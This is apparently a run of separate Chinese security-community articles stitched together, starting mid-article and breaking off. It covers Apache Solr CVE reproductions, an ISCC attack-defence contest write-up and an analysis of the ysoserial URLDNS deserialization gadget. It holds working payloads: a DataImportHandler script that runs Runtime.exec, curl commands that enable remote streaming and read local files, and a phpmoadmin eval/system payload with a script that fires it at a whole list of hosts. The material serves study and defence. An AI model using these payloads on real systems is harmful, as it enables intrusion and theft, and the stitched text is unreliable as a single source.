解析配置文件xml时造成xxe，具体分析复现移步[https://xz.aliyun.com/t/2448](https://xz.aliyun.com/t/2448?fileGuid=It0Qkg2AiecFMx62)
具体看`org.apache.solr.schema.FileExchangeRateProvider`修复，都换成SafeXMLParsing了
### 2.6 CVE-2019-0193
#### 2.6.1 复现
POC:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("calc");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
#### 2.6.2 分析
同样是DataImportHandler出问题
进入到Dataimport功能页面，开启debug，默认给出了如下xml
<dataConfig>
<dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:${solr.install.dir}/example/example-DIH/hsqldb/ex" user="sa" />
<document>
<entity name="item" query="select * from item"
deltaQuery="select id from item where last_modified > '${dataimporter.last_index_time}'">
<field column="NAME" name="name" />
<entity name="feature"
query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'"
deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}">
<field name="features" column="DESCRIPTION" />
</entity>
<entity name="item_category"
query="select CATEGORY_ID from item_category where ITEM_ID='${item.ID}'"
deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ID from item where ID=${item_category.ITEM_ID}">
<entity name="category"
query="select DESCRIPTION from category where ID = '${item_category.CATEGORY_ID}'"
deltaQuery="select ID from category where last_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category where CATEGORY_ID=${category.ID}">
<field column="DESCRIPTION" name="cat" />
</entity>
</entity>
</entity>
</document>
</dataConfig>
entity?标签中支持执行script，且支持jndi，也就是漏洞触发的地方，具体dataimport支持的功能参阅官方文档[https://solr.apache.org/guide/8_6/uploading-structured-data-store-data-with-the-data-import-handler.html](https://solr.apache.org/guide/8_6/uploading-structured-data-store-data-with-the-data-import-handler.html?fileGuid=It0Qkg2AiecFMx62)
补丁增加了
enable.dih.dataConfigParam（默认为false）只有启动solr的时候加上参数-Denable.dih.dataConfigParam=true 才会被设置为true。利用失败如下
### 2.7 CVE-2019-0192
#### 2.7.1 复现
[https://github.com/mpgn/CVE-2019-0192/](https://github.com/mpgn/CVE-2019-0192/?fileGuid=It0Qkg2AiecFMx62)
#### 2.7.2 分析
Solr支持动态的更新配置，但是更新的并不是Solrconfig.xml 而是configoverlay.json
官方文档参考如下
> Config API可以使用类似REST的API调用来处理您的solrconfig.xml的各个方面。
> 此功能默认启用，并且在SolrCloud和独立模式下的工作方式类似。许多通常编辑的属性（如缓存大小和提交设置）和请求处理程序定义可以使用此API进行更改。
> 使用此API时，solrconfig.xml不会更改。相反，所有编辑的配置都存储在一个名为configoverlay.json的文件中。该configoverlay.json中值覆盖solrconfig.xml中的值。
所以加载core的时候自然会加载configoverlay.json文件，问题也出在这里，精心构造的configoverlay.json可以触发org.apache.solr.core.SolrConfig的危险构造方法
public SolrConfig(SolrResourceLoader loader, String name, InputSource is) throws ParserConfigurationException, IOException, SAXException {......}
进而触发`org.apache.solr.core.SolrCore#initInfoRegistry`
修复，新版本直接不支持jmx
### 2.8 CVE-2019-17558
#### 2.8.1 复现
#### 2.8.2 分析
Velocity模板引擎注入首先触发的话，需要通过config
api开启模板引擎开关params.resource.loader.enabled，Solr提供给管理员方便管理的配置api，正常功能，由于Solr默认安装为未授权，所以攻击者可以直接配置
再看下模板命令执行，是返回内容进行模板渲染的时候发生的代码注入
`org.apache.solr.servlet.HttpSolrCall#writeResponse`
`org.apache.solr.response.QueryResponseWriterUtil#writeQueryResponse`
最后进入到模板引擎渲染阶段`org.apache.solr.response.VelocityResponseWriter#write`
此时部分调用炸
write:151, VelocityResponseWriter (org.apache.solr.response)
writeQueryResponse:65, QueryResponseWriterUtil (org.apache.solr.response)
writeResponse:732, HttpSolrCall (org.apache.solr.servlet)
call:473, HttpSolrCall (org.apache.solr.servlet)
doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)
### 2.9 CVE-2020-13957
官方API参考文档
[https://lucene.apache.org/solr/guide/8_4/configsets-api.html#configsets-api](https://lucene.apache.org/solr/guide/8_4/configsets-api.html#configsets-api?fileGuid=It0Qkg2AiecFMx62)
首先准备配置文件
docker cp c3:/opt/solr-8.2.0/server/solr/configsets/_default/conf ./
修改`solrconfig.xml velocity.params.resource.loader.enabled:false 为true`
目录如下
压缩为zip，通过Configset API上传到服务器
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sssconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=sssConfigSet"
配置文件上传成功
通过API创建新的collecton，或者从前台创建也可
创建成功
执行命令
其实是官方正常功能
### 2.10 全版本任意文件读取(官方拒绝修复)
默认安装未授权情况下，各项配置皆为默认
下载Solr最新版本
[http://archive.apache.org/dist/lucene/solr/8.80/solr-8.8.0.tgz](http://archive.apache.org/dist/lucene/solr/8.7.0/solr-8.7.0.tgz?fileGuid=It0Qkg2AiecFMx62)
#
**POC**
curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'
curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///C:/a.txt"
#### **复现**
**1.第一步**
curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'
2.第二步
curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///C:/a.txt"?
## 3.漏洞信息跟进
[https://cwiki.apache.org/confluence/display/solr/SolrSecurity](https://cwiki.apache.org/confluence/display/solr/SolrSecurity?fileGuid=It0Qkg2AiecFMx62)
[https://issues.apache.org/jira/browse/SOLR](https://issues.apache.org/jira/browse/SOLR?fileGuid=It0Qkg2AiecFMx62)
## 4.厂商防护及绕过思路
这种组件直接放内网就好了，或者一定配置身份校验，且Solr路由写的比较死，厂商提取规则时只要将url过滤完整即可，不会存在绕过情况。
绕过的话，虽然说每个漏洞url较为固定，但是每个功能的触发点皆为每个core或collection，core的名称包含在url中，且生产环境中为用户自定义，很多规则编写者通常只将示例example加入检测，可绕过几率很高。
# 四、个人思考
Apache Solr整体默认安装为未授权，且大部分资产都为未授权，提供众多api接口，支持未授权用户通过config api更改配置文件，攻击面较大。
# 五、参考链接
[https://solr.apache.org/guide/8_6/](https://solr.apache.org/guide/8_6/?fileGuid=It0Qkg2AiecFMx62)
[https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/](https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/?fileGuid=It0Qkg2AiecFMx62)
[https://baike.baidu.com/item/apache%20solr](https://baike.baidu.com/item/apache%20solr?fileGuid=It0Qkg2AiecFMx62)
[https://cwiki.apache.org/confluence/display/solr/SolrSecurity](https://cwiki.apache.org/confluence/display/solr/SolrSecurity?fileGuid=It0Qkg2AiecFMx62)
[https://www.jianshu.com/p/03b1199dec2c](https://www.jianshu.com/p/03b1199dec2c?fileGuid=It0Qkg2AiecFMx62)
[https://zhuanlan.zhihu.com/p/71629409](https://zhuanlan.zhihu.com/p/71629409?fileGuid=It0Qkg2AiecFMx62)
[https://issues.apache.org/jira/browse/SOLR-12770](https://issues.apache.org/jira/browse/SOLR-12770?fileGuid=It0Qkg2AiecFMx62)
[https://xz.aliyun.com/t/8374](https://xz.aliyun.com/t/8374?fileGuid=It0Qkg2AiecFMx62)
[https://www.ebounce.cn/web/73.html](https://www.ebounce.cn/web/73.html?fileGuid=It0Qkg2AiecFMx62)
[https://developer.aliyun.com/article/616505](https://developer.aliyun.com/article/616505?fileGuid=It0Qkg2AiecFMx62)
[https://www.jianshu.com/p/d3d83b6cb17c](https://www.jianshu.com/p/d3d83b6cb17c?fileGuid=It0Qkg2AiecFMx62)
[https://www.cnblogs.com/leeSmall/p/8992708.html](https://www.cnblogs.com/leeSmall/p/8992708.html?fileGuid=It0Qkg2AiecFMx62)
[https://zhouj000.github.io/2019/01/24/solr-6/](https://zhouj000.github.io/2019/01/24/solr-6/?fileGuid=It0Qkg2AiecFMx62)
[https://juejin.im/post/6844903949116391431](https://juejin.im/post/6844903949116391431?fileGuid=It0Qkg2AiecFMx62)
[http://codingdict.com/article/9427](http://codingdict.com/article/9427?fileGuid=It0Qkg2AiecFMx62)
[https://xz.aliyun.com/t/2448](https://xz.aliyun.com/t/2448?fileGuid=It0Qkg2AiecFMx62)
[https://xz.aliyun.com/t/1523#toc-1](https://xz.aliyun.com/t/1523#toc-1?fileGuid=It0Qkg2AiecFMx62)
[https://paper.seebug.org/1009/](https://paper.seebug.org/1009/?fileGuid=It0Qkg2AiecFMx62)
[https://xz.aliyun.com/t/4422](https://xz.aliyun.com/t/4422?fileGuid=It0Qkg2AiecFMx62)
* * * | 社区文章 |
全国研究生信息安全与对抗技术竞赛（ISCC：Information Security and Countermeasures
Contest)是为适应国家安全、社会发展和大学学科发展需求而开展的竞赛，目的是提高研究生的安全意识和安全常识，激发研究生的创新思维，加强学生动手能力的培养和工程实践的训练，促进相关学科专业建设，培养信息安全领域的创新型人才。
竞赛主旨：提升信息安全意识，普及信息安全知识，实践信息安全技术，共创信息安全环境，发现信息安全人才！
这次比赛分为三个部分：选择题、关卡题、攻防，前面两部分就不多说了，这里重点说下攻防，攻防一共三道题目，2个web，一个pwn，由于本人是做web的，现在附上这两道私地题目的讲解（更多的是做题的思路！）。
- _吐槽下：那就是9个小时的awd时间，只有三道题，也就是说这三道题是不变的，下午第一个拿下了一个分值最高的web题，靠着这道题直接冲上了第一，有一定的偶然性！_ -
## 第一道攻防题（fruit store）
这道题目由于没有截图，，因此这里只能口述，，最后会附上本机测试的一个截图~拿到私地地址，在web上打开，是一个很普通的页面，重要的是url竟然是x.x.x.x//index.php?c=list，这里敏感的话一眼就会发现这仿佛是文件包含漏洞，主页上附有三个水果截图，点进去发现url变成?c=apple、?c=orange等等，基本可以确定这就是一个文件包含的页面。
下面利用伪协议来读取文容，?c=php://filter/read=convert.base64-encode/resource=index，因为后面会自动加上php的后缀，因此这里不需要添加后缀，再读取完所有文件内容没有发现关键性的线索，这里必须说一下比赛提交flag的形式，是要在靶机内执行getflag指令，也就是最后一定是要组合成命令执行漏洞，因此这道题很有可能就是文件包含再加上某个漏洞完成rce，这里继续找线索，，在网站目录下发现robots.txt，点开发现竟然是一个文件上传的页面，，难道是利用前面的文件包含来读取文件上传的代码，从而实现文件上传黑名单的绕过？认真研究完代码后，尝试了各种绕过之后，，始终绕不过txt这个后缀（文件后缀要求是txt），不得不放弃，必须接受这个现实了：只能上传一个txt文件。同时还有一个文件包含漏洞，那么这里肯定是将这两个漏洞进行组合。突然想到了phar协议，利用这个协议可以读取压缩包中的文件，我们只需要将上传的php文件进行一次压缩，然后将zip或者rar的后缀修改为txt，即可完成漏洞的组合利用。
下面附上本机测试截图：
这里我构造了一个文件包含的漏洞
这里将php文件压缩成test.zip，这里可以看到利用phar命令，可以执行test.php中的ls指令
这里可以看到我将压缩包后缀修改txt，目的就是绕过上传限制，同样可以执行命令，至此这道题真相大白！这里漏洞的修补也不是非常难，一种方法是将allow_url_include修改成Off，或者直接将include所在函数注释掉。。
## 第二道攻防题（百度杯原题）
首先拿到页面，发现一个登录界面
然后猜测要么存在弱密码，要么存在sql注入，经过测试，这些都行不通，继续看~
然后跑了一下当前目录，发现诸多页面，就比如登录后的index界面，提示“不能访问”
这时候猜测是否是ip白名单，经过burp修改xff后，都不可行，最后发现存在目录泄露漏洞！
经过几番目录搜索，最后在/ez_web/admin/moadmin.php下竟然找到了后台登录的口令（haozi、so_easy）！
这时候登录上去，发现前几个页面是静态页面，只有最后一个是数据库操作，这时候重点就放在这个数据库操作页面，尝试是否存在注入或者命令执行漏洞！
经过sqlmap的测试，最后发现仿佛存在注入，但是不知道为什么，每次跑出注入点，然后就执行不下去了，，然后仔细搜集网页信息，数据库为monogo
db，为phpmoadmin数据库操作软件（我一度以为是phpmyadmin翻版），接下来就是搜索这两个的RCE漏洞，最后找到了phpmoadmin存在远程rce漏洞，成功打上私地~
Payload:/ez_web/admin/moadmin.php?db=ez_web&action=listRows&collection=111&find=array();eval(system('getflag'));exit
接下来就是编写exp脚本，这里获得了内网列表，直接将url地址改下，即可攻打别人的私地，下面附上py脚本（py2.7）
#-*-utf-8-*- import requests
f1=open('url.txt','r')
f2=open('flag.txt','w')
for line in f1.readlines():
line=line.replace('\n','')
url="http://"+line+"/ez_web/admin/moadmin.php?db=ez_web&action=listRows&collection=111&find=array();eval(system('getflag'));exit"
print url
res=requests.session()
res=requests.get(url=url)
f2.write(res.content)
攻打完成后，开始登上ssh，修补漏洞，这里漏洞成因为命令执行，因此加上防命令执行的函数即可~
下面附上漏洞代码：
$find = array();
if (isset($_GET['find']) && $_GET['find']) {
$_GET['find'] = trim($_GET['find']);
if (strpos($_GET['find'], 'array') === 0) {
eval('$find = ' . $_GET['find'] . ';');
} else if (is_string($_GET['find'])) {
if ($findArr = json_decode($_GET['find'], true)) {
$find = $findArr;
}
}
}
可以很明显的看到这里有个eval函数，因此我们将$find参数进行一次过滤即可~这里我使用的是escapeshellarg()函数，主要作用就是为命令执行代码加上双引号，这样代码就不会执行，成功修补漏洞~
## 高地题
最后高地同样是三道题，两个web一个pwn，两个web都没有人做出来，，不过这里可以作为讨论~
第一道高地题，，，页面很简单，只有一行文件‘It
works’，扫描了目录没有发现任何有用的，，扫描了端口发现存在80端口和443端口，使用https打开依然是这个页面，，用心脏出血漏洞poc打了一下，发现竟然是vulnerable，下面利用msf尝试了一下，才发现msf下只能进行漏洞验证。。。无奈。。从网上下了一个心脏出血的exp脚本，打了一下，，也没有任何发现。。只能放弃。
第二道高地题。。发现竟然存在post注入，，利用sqlmap跑了一圈，收获了管理员的账号密码，，不能执行sql-shell和os-shell，因此只能乖乖去寻找后台登录地址。。发现了后台登录界面，但是提示“后台已被修改，go and find
it”，这里直到比赛最后30分钟才想起Robots.txt，，，才发现后台地址就躺在这儿。。这里利用注入获得的账号密码登录进去，，发现有很多py模块，这里提供了上传py文件的功能并且提示说模块执行按照上传时间，，由于时间没来得及，，这里就没做尝试，，不知道是不是上传py脚本反弹shell。
_上述如有不当之处，敬请指出~_ | 社区文章 |
# JAVA反序列化-ysoserial-URLDNS
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
推荐阅读时间：15min
内容-基础向：
* 在IDEA中JAR的三种调试方式
* Ysoserial工具中URLDNS模块的原理分析
* POC代码以及Ysoserial的源码分析
## 在IDEA中JAR的三种调试方式
在开始前，先分享下对于jar文件的三种调试方式。
### JAR起端口的远程调试
这种调试方式主要针对有界面，启动后不会自动退出的一类jar包。如attackRMI.jar
1. 1.调试运行jar，这将会使jar起一个5005端口等待调试器连接
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar attackRMI.jar
1. 2.idea随便一个项目引入这个jar包
1. 3.IDEA调试配置处，配置Remote监听配置——Attach to remote JVM
1. 4.在需要调试的jar包中下断点，选择远程调试器，DEBUG开始调试
> 可以注意到在配置调试器连接远程监听的时候，有远程JVM的命令代码，如果jdk版本是8以上命令会有所不同，可以手动选择 然后替换命令跑jar。
### 调试器起端口的远程调试
但是遇到一些运行后就立马结束退出的情况，比如ysoserial，以上的方法jar起端口等待调试器连接的办法就不成了。（因为立刻退出了，调试器根本来不及连接）
我们可以换一种方式反一反：让IDEA调试器起端口监听，jar连接至调试端口进行调试
1. 1.IDEA配置监听远程调试——Listen to remote JVM
1. 2.IDEA下断点，开始调试DEBUG，这样IDEA就会起一个5055监听端口
2. 3.调试运行JAR，使JAR连接至IDEA-DEGUB端口进行调试：
java -agentlib:jdwp=transport=dt_socket,server=n,address=LAPTOP-50N17D1J:5005,suspend=y -jar F:BanZjavaysoserial.jar
> 以上的命令不是大家都通用的，可以从IDEA里面复制出来，删除<>的两项可选项即可。
>
> 同样根据jdk版本不同，命令也会有变化。
### JAR源代码调试
通常来说以上两种就够用了，但是还有一种调试方式，在局部调试中更为方便：在源代码中调用特定class文件的main函数进行调试：
以ysoserial的URLDNS模块为例，由于在ysoserial中所有payload生成接口都可以从`ysoserial.GeneratePayload`进入，我们可以调用该类的main函数同时指定参数，进入任意payload生成模块。
看一下GeneratePayload的main函数：
1. 1.IDEA配置固定class文件，配置传入参数（跟命令行调用一样）
1. 2.下断点，开始DEBUG调试
## URLDNS
那么开始细看[ysoserial](https://github.com/frohoff/ysoserial)，从最简单的模块开始。
在渗透测试中，如果对着服务器打一发JAVA反序列化payload，而没有任何回应，往往就不知道问题出在了哪里的蒙蔽状态。
* 1.打成功了，只是对方机器不能出网？
* 2.还是对面JAVA环境与payload版本不一样，改改就可以？
* 3.还是对方没有用这个payload利用链的所需库？利用链所需库的版本不对？换换就可以？
* 4.还是…以上做的都是瞎操作，这里压根没有反序列化readobject点QAQ
而URLDNS模块正是解决了以上疑惑的最后一个，确认了readobject反序列化利用点的存在。不至于payload改来改去却发现最后是因为压根没有利用点所以没用。同时因为这个利用链不依赖任何第三方库，没有什么限制。
如果目标服务器存在反序列化动作（readobject），处理了我们的输入，同时按照我们给定的URL地址完成了DNS查询，我们就可以确认是存在反序列化利用点的。
从JAVA反序列化RCE的三要素（readobject反序列化利用点 + 利用链 + RCE触发点）来说，是通过（readobject反序列化利用点 +
DNS查询）来确认readobject反序列化利用点的存在。
ysoserial payload生成命令：`java -jar ysoserial.jar URLDNS "自己能够查询DNS记录的域名"`
（这里可以使用ceye做DNS查询）
我们先抛开ysoserial，看一下网上的测试代码弄清楚原理，在之后再回过来看ysoserial的实现。
POC测试代码：
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
//0x01.生成payload
//设置一个hashMap
HashMap<URL, String> hashMap = new HashMap<URL, String>();
//设置我们可以接受DNS查询的地址
URL url = new URL("http://xxx.ceye.io");
//将URL的hashCode字段设置为允许修改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
//**以下的蜜汁操作是为了不在put中触发URLDNS查询，如果不这么写就会触发两次（之后会解释）**
//1. 设置url的hashCode字段为0xdeadbeef（随意的值）
f.set(url, 0xdeadbeef);
//2. 将url放入hashMap中，右边参数随便写
hashMap.put(url, "rmb122");
//修改url的hashCode字段为-1，为了触发DNS查询（之后会解释）
f.set(url, -1);
//0x02.写入文件模拟网络传输
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
//0x03.读取文件，进行反序列化触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
在跑通以上代码，有几个注意点：
1. 1.不能使用ip+端口进行回显，因为此处功能为DNS查询，ip+端口不属于DNS查询。同时在代码底层对于ip的情况做了限制，不会进行DNS查询。
2. 2.最好不要使用burp自带的dns查询，会过一段时间就会变换了，可能会导致坑。这里使用了ceye查看DNSLOG
直接跑测试一波，有回显
从测试代码的 **0x01部分**
payload生成中，我们可以看个大概payload结构，但是也有一些蜜汁细节，回头再来追究，主要确认三个名词`HashMap`、`URL`、`HashCode`。
仔细看一下可以知道最终的payload结构是 一个`HashMap`，里面包含了 一个修改了`HashCode`为-1的`URL`类
那么具体细节我们就直接在`ois.readObject();`这个反序列化语句中去调试分析过程。
我们知道java反序列化的执行入口就是 **readObject方法**
，而我们最外层的包装就是HashMap，那么这个链自然是从HashMap的readObject开始的（这是JAVA反序列化的基础，不了解的话可以从以往的博客补课）。
找到JDK包中的HashMap类的readObject方法下断点，开始调试：
> 此处会有一个问题就是我们到底怎么在JDK包中找到HashMap这个类的readobject函数呢？因为JDK的类超级多，难道我们必须要一个个翻找？
>
> 其实搜索是可以搜索导入包的内容的，Ctrl+Shift+F 在Scope – All Places 搜索`class hashmap`即可
>
>
然后我们就可以成功开始调试了，但是看着hashmap类中的代码马上就会一头雾水。因为我们根本不了解hashmap是啥。
### HashMap
在开始正式调试阅读代码前，我们需要知道HashMap的大致原理：
[HashMap](https://blog.csdn.net/woshimaxiao1/article/details/83661464)是一种为提升操作效率的数据结构，本质在使用上还是存取key-value键值对的使用方式，但是在实现上引入了key值的HASH映射到一维数组的形式来实现，再进入了链表来解决hash碰撞问题（不同的key映射到数组同一位置）。
从键值对的设置和读取两方面来解释：
设置新键值对 key-value：
1. 1.计算key的hash：Hash(k)
2. 2.通过Hash(k)映射到有限的数组a的位置i
3. 3.在a[i]的位置存入value
4. 4.因为把计算出来的不同的key的hash映射到有限的数组长度，肯定会出现不同的key对应同一个数组位置i的情况。如果发现a[i]已经有了其他key的value，就放入这个i位置后面对应的链表（根据多少的情况可能变为树）中。
读取key的value：
1. 1.计算key的hash：Hash(k)
2. 2.通过Hash(k)映射到有限的数组a的位置i
3. 3.读取在a[i]的位置的value
4. 4.如果发现a[i]已经有了其他key的value，就遍历这个i位置后面对应的链表（根据多少的情况可能变为树）去查找这个key再去取值。
### 反序列化过程
那么这个Hashmap数据结构是如何序列化传输的呢？
`java.util.HashMap#writeObject`分为三个步骤进行序列化：
1. 1.序列化写入一维数组的长度（不是特别确定，但是这个值在反序列化中是不使用的，所以不太重要）
2. 2.序列化写入键值对的个数
3. 3.序列化写入键值对的键和值；
`java.util.HashMap#readObject`：
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
//...省略代码...
//读取一维数组长度，不处理
//读取键值对个数mappings
//处理其他操作并初始化
//遍历反序列化分辨读取key和value
for (int i = 0; i < mappings; i++) {
//URL类也有readObject方法，此处也会执行，但是DNS查询行为不在这，我们跳过
K key = (K) s.readObject();
V value = (V) s.readObject();
//注意以下这句话
putVal(hash(key), key, value, false, false);
}
}
`putVal`是往HashMap中放入键值对的方法，上面也说到在放入时会计算 **key的hash** 作为转化为数组位置 **i** 的映射依据。
**而DNS查询正是在计算URL类的对象的hash的过程中触发的** ，即hash(key)。
跟进`hash(key)`：`java.util.HashMap#hash`
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
传入的key是一个URL对象，不同对象的hash计算方法是在各自的类中实现的，这里`key.hashCode()`调用URL类中的hashCode方法：`java.net.URL#hashCode`
transient URLStreamHandler handler; //这个URL传输实现类是一个transient临时类型，它不会被反序列化（之后会用到）
private int hashCode = -1;//hashCode是private类型，需要手动开放控制权才可以修改。
//...
public synchronized int hashCode() {
//判断如果当前对象中的hashCode不为默认值-1的话，就直接返回
//意思就是如果以前算过了就别再算了
if (hashCode != -1)
return hashCode;
//如果没算过，就调用当前URL类的URL传输实现类去计算hashcode
hashCode = handler.hashCode(this);//进入此处
return hashCode;
}
`java.net.URLStreamHandler#hashCode`
//此处传入的URL为我们自主写入的接受DNS查询的URL
protected int hashCode(URL u) {
int h = 0;//计算的hash结果
//使用url的协议部分，计算hash
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
//**通过url获取目标IP地址**，再计算hash拼接进入
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {//如果没有获取到，就直接把域名计算hash拼接进入
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
//...
至此我们就看到了`getHostAddress(u)`这一关键语句，通过我们提供的URL地址去获取对应的IP。再往后还有一些函数调用，但是更为底层，而不太关键，就不继续跟了。
但有一处值得提一下，之前说到URL要传入一个域名而不能是一个IP，IP不会触发DNS查询是在
`java.net.InetAddress#getAllByName(java.lang.String,
java.net.InetAddress)`中进行了限制：
private static InetAddress[] getAllByName(String host, InetAddress reqAddr)
throws UnknownHostException {
...
// if host is an IP address, we won't do further lookup
if (Character.digit(host.charAt(0), 16) != -1
|| (host.charAt(0) == ':')) {
byte[] addr = null;
int numericZone = -1;
String ifname = null;
// see if it is IPv4 address
addr = IPAddressUtil.textToNumericFormatV4(host);
if (addr == null) {
...
总结一下JDK1.8下的调用路线：
1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()
而在jdk1.7u80环境下调用路线会有一处不同，但是大同小异：
1. HashMap->readObject()
2. **HashMap- >putForCreate()**
3. HashMap->hash()
4. URL->hashCode()
5. 之后相同
看以上调用过程可以发现：我们要执行的是URL查询的方法`URL->hashCode()`，而HashMap只是我们的一层封装。
### 回看payload生成
总结以上反序列化过程，我们可以得出要成功完成反序列化过程触发DNS请求，payload需要满足以下2个条件
1. 1.HashMap对象中有一个key为URL对象的键值对
2. 2.这个URL对象的hashcode需要为-1
回头看看测试代码是怎么实现的
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://xxx.ceye.io");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
//---- f.set(url, 0xdeadbeef);
hashMap.put(url, "rmb122");
f.set(url, -1);
//----
前面创建hashmap，url对象，由于hashCode是private属性，更改访问权限让它变得允许修改都没问题。
但是下面这块为啥不能直接把URL对象put进去hashmap就好了？反而要设置成别的值再设置回来？
我们需要关注一下`java.util.HashMap#put`
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
可以发现put里面的语句跟我们之前看到的会触发DNS查询的语句一模一样，同时URL对象再初始化之后的hashCode默认为-1。
也就是说在我们生成payload的过程中，如果不做任何修改就直接把URL对象放入HashMap是在本地触发一次DNS查询的。
把`f.set(url, 0xdeadbeef);`这句话注释了看看：
这时候hashCode默认为-1，然后就会进入`hash(key)`触发DNS查询。这就会混淆是你本地的查询还是对方机器的查询的DNS。在put之前修改个hashCode，就可以避免触发。
而在put了之后：
* 1.如果之前没有`f.set(url, 0xdeadbeef);`修改hashCode，就会完成DNS查询的同时，计算出hashCode，从而修改成不为-1的值。这个hashcode会被序列化传输，到对方机器时就会因为不是-1而跳过DNS查询流程
* 2.如果之前修改了hashCode，那自然也会直接被序列化传输，不是-1也会跳过DNS查询流程。
所以需要`f.set(url, -1);`把这个字段改回来-1。
### 看看Ysoserial是怎么做的
我们可以使用JAR调试的第三种方法，JAR源代码调试去看看Ysoserial的实现细节。（git clone Ysoserial项目来获取源码）
在`ysoserial.payloads.URLDNS#getObject`处下断点调试：
public Object getObject(final String url) throws Exception {
//SilentURLStreamHandler 是一个自主写的避免生成payload的时候形成URL查询的骚操作，我们之后会分析。
//用这种骚操作的前提是URL对象的handler属性是transient类型；
//这代表我们自主写的骚操作不会被写入反序列化的代码中，不会对结果造成影响
URLStreamHandler handler = new SilentURLStreamHandler();
//来一个HashMap
HashMap ht = new HashMap();
//再来一个URL对象，这里把SilentURLStreamHandler这个handler传入进去，等会看看做了啥
URL u = new URL(null, url, handler); //传入的URL是我们传入的DNS查询的目标
//URL作为key值和HashMap duang~ 此处的value值是可以随便设置的，这里设置为url
ht.put(u, url);
//按照我们之前分析，以上的put操作讲道理会触发一次DNS查询
//这里使用了SilentURLStreamHandler的骚操作进行避免，但是同样为URL对象计算保存了一个hashCode
//所以为了在对方机器上DNS成功，在这里重置一下hashCode为-1
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
具体看看SilentURLStreamHandler是怎么做的：`ysoserial.payloads.URLDNS.SilentURLStreamHandler`
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
`SilentURLStreamHandler`类继承了`URLStreamHandler`类，然后写了个空的 **getHostAddress** 方法。
根据JAVA的继承子类的同名方法会覆盖父类方法的原则，这个骚操作的思路大概就是本来执行`URLStreamHandler.getHostAddress`我们写一个URLStreamHandler的子类`SilentURLStreamHandler`的getHostAddress，然后啥都不做，这样就不会在生成payload的时候去请求DNS。
来用调试过程来证实一下：
先把自定义的SilentURLStreamHandler塞到URL对象中：`URL u = new URL(null, url, handler);`
`java.net.URL#URL(java.net.URL, java.lang.String,
java.net.URLStreamHandler)#605行`
然后在`ht.put(u,
url);`中，按照预定的路径`HashMap->hash()`、`URL->hashCode()`、`URLStreamHandler->hashCode()`。之后就遇到了`getHostAddress(u)`
但是从左下角的调用栈就可以看到，之后不是进入`URLStreamHandler->getHostAddress()`而是`SilentURLStreamHandler#getHostAddress`，这将会返回NULL。
至此Ysoserial用一个子类继承完成了规避DNSLOG；而测试代码用先改变HashCode完成了规避DNSLOG。
讲道理应该后者简单方便一点，但是总感觉Ysoserial的方法有种秘之炫技和优雅。
这就是大佬么，膜了膜了，爱了爱了。
## 参考
<https://xz.aliyun.com/t/7157>
<http://www.lmxspace.com/2019/12/20/ysoserial-C3P0/#0x02-%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA>
<https://www.cnblogs.com/tr1ple/p/12378269.html>
知识星球-代码审计：Java安全漫谈 – 08.反序列化篇(2) | 社区文章 |
# 前言
* 读者受众：所有人
* 阅读要求：30mins
* 文章中2620还没写完，清水川崎大佬就爆2634了，据说他还藏了很多个0day
* * *
# RCE
## 简单案例分析RCE
通过Java执行系统命令，与cmd中或者终端上一样执行shell命令，最典型的用法就是使用Runtime.getRuntime().exec(command)或者new
ProcessBuilder(cmdArray).start()。
//漏洞源码
